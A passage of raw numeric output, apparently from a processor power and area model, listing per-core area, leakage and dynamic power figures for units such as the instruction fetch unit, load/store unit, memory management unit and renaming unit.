RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.22361, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0136002, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.178396, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.100582, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.402005, 'Execution Unit/Register Files/Runtime Dynamic': 0.114182, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.429791, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.863293, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 2.86626, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000665877, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000665877, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000580078, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000224612, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00144487, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.0033567, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00638081, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0966919, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 6.15044, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.222208, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.328409, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 8.66745, 'Instruction Fetch Unit/Runtime Dynamic': 0.657047, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0541502, 'L2/Runtime Dynamic': 0.00507116, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 3.17838, 'Load Store Unit/Data Cache/Runtime Dynamic': 0.935225, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0628042, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0628043, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 3.47495, 'Load Store Unit/Runtime Dynamic': 1.30776, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.154865, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.309729, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.0549619, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0557692, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.382412, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0364453, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.632935, 'Memory Management Unit/Runtime Dynamic': 0.0922145, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 22.6876, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.588214, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.0217874, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.15152, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.761521, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 5.68987, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.158035, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.326816, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 0.90969, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.289629, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.46716, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.235807, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.992596, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.191783, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 5.76886, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution Unit/Register Files/Floating Point RF/Gate Leakage': 0.000232788, 'Execution Unit/Register Files/Floating Point RF/Peak Dynamic': 0.17186, 'Execution Unit/Register Files/Floating Point RF/Runtime Dynamic': 0.0121483, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage': 0.00399698, 'Execution Unit/Register Files/Floating Point RF/Subthreshold Leakage with power gating': 0.00176968, 'Execution Unit/Register Files/Gate Leakage': 0.000622708, 'Execution Unit/Register Files/Integer RF/Area': 0.362673, 'Execution Unit/Register Files/Integer RF/Gate Leakage': 0.00038992, 'Execution Unit/Register Files/Integer RF/Peak Dynamic': 0.144726, 'Execution Unit/Register Files/Integer RF/Runtime Dynamic': 0.0898444, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage': 0.00614175, 'Execution Unit/Register Files/Integer RF/Subthreshold Leakage with power gating': 0.00246675, 'Execution Unit/Register Files/Peak Dynamic': 0.316586, 'Execution Unit/Register Files/Runtime Dynamic': 0.101993, 'Execution Unit/Register Files/Subthreshold Leakage': 0.0101387, 'Execution Unit/Register Files/Subthreshold Leakage with power gating': 0.00423643, 'Execution Unit/Results Broadcast Bus/Area Overhead': 0.0390912, 'Execution Unit/Results Broadcast Bus/Gate Leakage': 0.00537402, 'Execution Unit/Results Broadcast Bus/Peak Dynamic': 0.344415, 'Execution Unit/Results Broadcast Bus/Runtime Dynamic': 0.768363, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage': 0.081478, 'Execution Unit/Results Broadcast Bus/Subthreshold Leakage with power gating': 0.0305543, 'Execution Unit/Runtime Dynamic': 2.59515, 'Execution Unit/Subthreshold Leakage': 1.79543, 'Execution Unit/Subthreshold Leakage with power gating': 0.688821, 'Gate Leakage': 0.368936, 'Instruction Fetch Unit/Area': 5.85939, 'Instruction Fetch Unit/Branch Predictor/Area': 0.138516, 'Instruction Fetch Unit/Branch Predictor/Chooser/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Chooser/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Chooser/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Chooser/Runtime Dynamic': 0.000486439, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Chooser/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/Gate Leakage': 0.000757657, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Area': 0.0435221, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Gate Leakage': 0.000278362, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Peak Dynamic': 0.0168831, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Runtime Dynamic': 0.000486439, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage': 0.00759719, 'Instruction Fetch Unit/Branch Predictor/Global Predictor/Subthreshold Leakage with power gating': 0.0039236, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Area': 0.0257064, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Gate Leakage': 0.000154548, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Peak Dynamic': 0.0142575, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Runtime Dynamic': 0.000425689, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage': 0.00384344, 'Instruction Fetch Unit/Branch Predictor/L1_Local Predictor/Subthreshold Leakage with power gating': 0.00198631, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Area': 0.0151917, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Gate Leakage': 8.00196e-05, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Peak Dynamic': 0.00527447, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Runtime Dynamic': 0.000165886, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage': 0.00181347, 'Instruction Fetch Unit/Branch Predictor/L2_Local Predictor/Subthreshold Leakage with power gating': 0.000957045, 'Instruction Fetch Unit/Branch Predictor/Peak Dynamic': 0.0597838, 'Instruction Fetch Unit/Branch Predictor/RAS/Area': 0.0105732, 'Instruction Fetch Unit/Branch Predictor/RAS/Gate Leakage': 4.63858e-05, 'Instruction Fetch Unit/Branch Predictor/RAS/Peak Dynamic': 0.0117602, 'Instruction Fetch Unit/Branch Predictor/RAS/Runtime Dynamic': 0.00129062, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage': 0.000932505, 'Instruction Fetch Unit/Branch Predictor/RAS/Subthreshold Leakage with power gating': 0.000494733, 'Instruction Fetch Unit/Branch Predictor/Runtime Dynamic': 0.00268919, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage': 0.0199703, 'Instruction Fetch Unit/Branch Predictor/Subthreshold Leakage with power gating': 0.0103282, 'Instruction Fetch Unit/Branch Target Buffer/Area': 0.64954, 'Instruction Fetch Unit/Branch Target Buffer/Gate Leakage': 0.00272758, 'Instruction Fetch Unit/Branch Target Buffer/Peak Dynamic': 0.177867, 'Instruction Fetch Unit/Branch Target Buffer/Runtime Dynamic': 0.00459241, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage': 0.0811682, 'Instruction Fetch Unit/Branch Target Buffer/Subthreshold Leakage with power gating': 0.0435357, 'Instruction Fetch Unit/Gate Leakage': 0.0589979, 'Instruction Fetch Unit/Instruction Buffer/Area': 0.0226323, 'Instruction Fetch Unit/Instruction Buffer/Gate Leakage': 6.83558e-05, 'Instruction Fetch Unit/Instruction Buffer/Peak Dynamic': 0.606827, 'Instruction Fetch Unit/Instruction Buffer/Runtime Dynamic': 0.0863697, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage': 0.00151885, 'Instruction Fetch Unit/Instruction Buffer/Subthreshold Leakage with power gating': 0.000701682, 'Instruction Fetch Unit/Instruction Cache/Area': 3.14635, 'Instruction Fetch Unit/Instruction Cache/Gate Leakage': 0.029931, 'Instruction Fetch Unit/Instruction Cache/Peak Dynamic': 5.49385, 'Instruction Fetch Unit/Instruction Cache/Runtime Dynamic': 0.194143, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage': 0.367022, 'Instruction Fetch Unit/Instruction Cache/Subthreshold Leakage with power gating': 0.180386, 'Instruction Fetch Unit/Instruction Decoder/Area': 1.85799, 'Instruction Fetch Unit/Instruction Decoder/Gate Leakage': 0.0222493, 'Instruction Fetch Unit/Instruction Decoder/Peak Dynamic': 1.37404, 'Instruction Fetch Unit/Instruction Decoder/Runtime Dynamic': 0.29335, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage': 0.442943, 'Instruction Fetch Unit/Instruction Decoder/Subthreshold Leakage with power gating': 0.166104, 'Instruction Fetch Unit/Peak Dynamic': 7.97899, 'Instruction Fetch Unit/Runtime Dynamic': 0.581144, 'Instruction Fetch Unit/Subthreshold Leakage': 0.932286, 'Instruction Fetch Unit/Subthreshold Leakage with power gating': 0.40843, 'L2/Area': 4.53318, 'L2/Gate Leakage': 0.015464, 'L2/Peak Dynamic': 0.0433558, 'L2/Runtime Dynamic': 0.00691944, 'L2/Subthreshold Leakage': 0.834142, 'L2/Subthreshold Leakage with power gating': 0.401066, 'Load Store Unit/Area': 8.80901, 'Load Store Unit/Data Cache/Area': 6.84535, 'Load Store Unit/Data Cache/Gate Leakage': 0.0279261, 'Load Store Unit/Data Cache/Peak Dynamic': 3.65935, 'Load Store Unit/Data Cache/Runtime Dynamic': 1.16803, 'Load Store Unit/Data Cache/Subthreshold Leakage': 0.527675, 'Load Store Unit/Data Cache/Subthreshold Leakage with power gating': 0.25085, 'Load Store Unit/Gate Leakage': 0.0350888, 'Load Store Unit/LoadQ/Area': 0.0836782, 'Load Store Unit/LoadQ/Gate Leakage': 0.00059896, 'Load Store Unit/LoadQ/Peak Dynamic': 0.0783649, 'Load Store Unit/LoadQ/Runtime Dynamic': 0.0783649, 'Load Store Unit/LoadQ/Subthreshold Leakage': 0.00941961, 'Load Store Unit/LoadQ/Subthreshold Leakage with power gating': 0.00536918, 'Load Store Unit/Peak Dynamic': 4.02941, 'Load Store Unit/Runtime Dynamic': 1.63286, 'Load Store Unit/StoreQ/Area': 0.322079, 'Load Store Unit/StoreQ/Gate Leakage': 0.00329971, 'Load Store Unit/StoreQ/Peak Dynamic': 0.193234, 'Load Store Unit/StoreQ/Runtime Dynamic': 0.386469, 'Load Store Unit/StoreQ/Subthreshold Leakage': 0.0345621, 'Load Store Unit/StoreQ/Subthreshold Leakage with power gating': 0.0197004, 'Load Store Unit/Subthreshold Leakage': 0.591321, 'Load Store Unit/Subthreshold Leakage with power gating': 0.283293, 'Memory Management Unit/Area': 0.4339, 'Memory Management Unit/Dtlb/Area': 0.0879726, 'Memory Management Unit/Dtlb/Gate Leakage': 0.00088729, 'Memory Management Unit/Dtlb/Peak Dynamic': 0.0685795, 'Memory Management Unit/Dtlb/Runtime Dynamic': 0.0692217, 'Memory Management Unit/Dtlb/Subthreshold Leakage': 0.0155699, 'Memory Management Unit/Dtlb/Subthreshold Leakage with power gating': 0.00887485, 'Memory Management Unit/Gate Leakage': 0.00808595, 'Memory Management Unit/Itlb/Area': 0.301552, 'Memory Management Unit/Itlb/Gate Leakage': 0.00393464, 'Memory Management Unit/Itlb/Peak Dynamic': 0.341587, 'Memory Management Unit/Itlb/Runtime Dynamic': 0.0318532, 'Memory Management Unit/Itlb/Subthreshold Leakage': 0.0413758, 'Memory Management Unit/Itlb/Subthreshold Leakage with power gating': 0.0235842, 'Memory Management Unit/Peak Dynamic': 0.615504, 'Memory Management Unit/Runtime Dynamic': 0.101075, 'Memory Management Unit/Subthreshold Leakage': 0.0766103, 'Memory Management Unit/Subthreshold Leakage with power gating': 0.0398333, 'Peak Dynamic': 22.0256, 'Renaming Unit/Area': 0.303608, 'Renaming Unit/FP Front End RAT/Area': 0.131045, 'Renaming Unit/FP Front End RAT/Gate Leakage': 0.00351123, 'Renaming Unit/FP Front End RAT/Peak Dynamic': 2.51468, 'Renaming Unit/FP Front End RAT/Runtime Dynamic': 0.452085, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage': 0.0308571, 'Renaming Unit/FP Front End RAT/Subthreshold Leakage with power gating': 0.0175885, 'Renaming Unit/Free List/Area': 0.0340654, 'Renaming Unit/Free List/Gate Leakage': 2.5481e-05, 'Renaming Unit/Free List/Peak Dynamic': 0.0306032, 'Renaming Unit/Free List/Runtime Dynamic': 0.018569, 'Renaming Unit/Free List/Subthreshold Leakage': 0.000370144, 'Renaming Unit/Free List/Subthreshold Leakage with power gating': 0.000201064, 'Renaming Unit/Gate Leakage': 0.00708398, 'Renaming Unit/Int Front End RAT/Area': 0.0941223, 'Renaming Unit/Int Front End RAT/Gate Leakage': 0.000283242, 'Renaming Unit/Int Front End RAT/Peak Dynamic': 0.731965, 'Renaming Unit/Int Front End RAT/Runtime Dynamic': 0.138347, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage': 0.00435488, 'Renaming Unit/Int Front End RAT/Subthreshold Leakage with power gating': 0.00248228, 'Renaming Unit/Peak Dynamic': 3.58947, 'Renaming Unit/Runtime Dynamic': 0.609001, 'Renaming Unit/Subthreshold Leakage': 0.0552466, 'Renaming Unit/Subthreshold Leakage with power gating': 0.0276461, 'Runtime Dynamic': 5.52614, 'Subthreshold Leakage': 6.16288, 'Subthreshold Leakage with power gating': 2.55328}, {'Area': 32.0201, 'Execution Unit/Area': 7.68434, 'Execution Unit/Complex ALUs/Area': 0.235435, 'Execution Unit/Complex ALUs/Gate Leakage': 0.0132646, 'Execution Unit/Complex ALUs/Peak Dynamic': 0.109945, 'Execution Unit/Complex ALUs/Runtime Dynamic': 0.289044, 'Execution Unit/Complex ALUs/Subthreshold Leakage': 0.20111, 'Execution Unit/Complex ALUs/Subthreshold Leakage with power gating': 0.0754163, 'Execution Unit/Floating Point Units/Area': 4.6585, 'Execution Unit/Floating Point Units/Gate Leakage': 0.0656156, 'Execution Unit/Floating Point Units/Peak Dynamic': 0.671229, 'Execution Unit/Floating Point Units/Runtime Dynamic': 0.304033, 'Execution Unit/Floating Point Units/Subthreshold Leakage': 0.994829, 'Execution Unit/Floating Point Units/Subthreshold Leakage with power gating': 0.373061, 'Execution Unit/Gate Leakage': 0.120359, 'Execution Unit/Instruction Scheduler/Area': 1.66526, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Area': 0.275653, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Gate Leakage': 0.000977433, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Peak Dynamic': 1.04181, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Runtime Dynamic': 0.222185, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage': 0.0143453, 'Execution Unit/Instruction Scheduler/FP Instruction Window/Subthreshold Leakage with power gating': 0.00810519, 'Execution Unit/Instruction Scheduler/Gate Leakage': 0.00568913, 'Execution Unit/Instruction Scheduler/Instruction Window/Area': 0.805223, 'Execution Unit/Instruction Scheduler/Instruction Window/Gate Leakage': 0.00414562, 'Execution Unit/Instruction Scheduler/Instruction Window/Peak Dynamic': 1.6763, 'Execution Unit/Instruction Scheduler/Instruction Window/Runtime Dynamic': 0.358376, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage': 0.0625755, 'Execution Unit/Instruction Scheduler/Instruction Window/Subthreshold Leakage with power gating': 0.0355964, 'Execution Unit/Instruction Scheduler/Peak Dynamic': 3.82262, 'Execution Unit/Instruction Scheduler/ROB/Area': 0.584388, 'Execution Unit/Instruction Scheduler/ROB/Gate Leakage': 0.00056608, 'Execution Unit/Instruction Scheduler/ROB/Peak Dynamic': 1.10451, 'Execution Unit/Instruction Scheduler/ROB/Runtime Dynamic': 0.180896, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage': 0.00906853, 'Execution Unit/Instruction Scheduler/ROB/Subthreshold Leakage with power gating': 0.00364446, 'Execution Unit/Instruction Scheduler/Runtime Dynamic': 0.761458, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage': 0.0859892, 'Execution Unit/Instruction Scheduler/Subthreshold Leakage with power gating': 0.047346, 'Execution Unit/Integer ALUs/Area': 0.47087, 'Execution Unit/Integer ALUs/Gate Leakage': 0.0265291, 'Execution Unit/Integer ALUs/Peak Dynamic': 0.151205, 'Execution Unit/Integer ALUs/Runtime Dynamic': 0.101344, 'Execution Unit/Integer ALUs/Subthreshold Leakage': 0.40222, 'Execution Unit/Integer ALUs/Subthreshold Leakage with power gating': 0.150833, 'Execution Unit/Peak Dynamic': 5.25704, 'Execution Unit/Register Files/Area': 0.570804, 'Execution Unit/Register Files/Floating Point RF/Area': 0.208131, 'Execution 